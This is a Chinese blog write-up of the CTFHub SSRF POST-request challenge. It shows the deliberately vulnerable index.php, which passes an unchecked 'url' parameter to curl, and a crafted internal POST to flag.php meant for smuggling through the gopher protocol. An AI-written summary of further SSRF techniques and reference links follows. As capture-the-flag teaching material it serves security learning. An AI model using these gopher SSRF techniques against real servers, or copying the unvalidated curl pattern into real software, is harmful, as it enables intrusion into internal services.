CTFHUB-SSRF-POST请求

 打开连接

尝试读取flag.php与index.php

flag.php

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

index.php:

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

思路:构造一个post请求,利用gopher发送得到flag

首先要获取到key

 构造post请求

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=3e0d2cb7daa9987bb95eab15605f71d7

我们先将其进行一次url编码,再将所有%0a换成%0d%0a之后再进行一次url编码

 得到flag

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTFHub是一个CTF(Capture The Flag)比赛平台,提供了各种安全挑战和漏洞利用的题目。在引用\[1\]中提到了一些与SSRF(Server-Side Request Forgery)相关的内容,包括伪协议读取文件、端口扫描、POST请求上传文件、FastCGI、Redis协议、URL Bypass、数字IP Bypass、302跳转Bypass和DNS重绑定 Bypass。引用\[2\]中提到了CGI和FastCGI协议的运行原理,并介绍了使用Gopherus工具生成攻击FastCGI的payload。引用\[3\]中提到了一个使用Python脚本进行端口扫描的例子。 所以,CTFHub ssrf是指在CTFHub平台上与SSRF相关的内容和挑战。 #### 引用[.reference_title] - *1* [CTFHubSSRF](https://blog.csdn.net/qq_45927819/article/details/123400074)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [CTFHUB--SSRF详解](https://blog.csdn.net/qq_49422880/article/details/117166929)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CTFHub技能树笔记之SSRF:内网访问、伪协议读取文件、端口扫描](https://blog.csdn.net/weixin_48799157/article/details/123886077)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值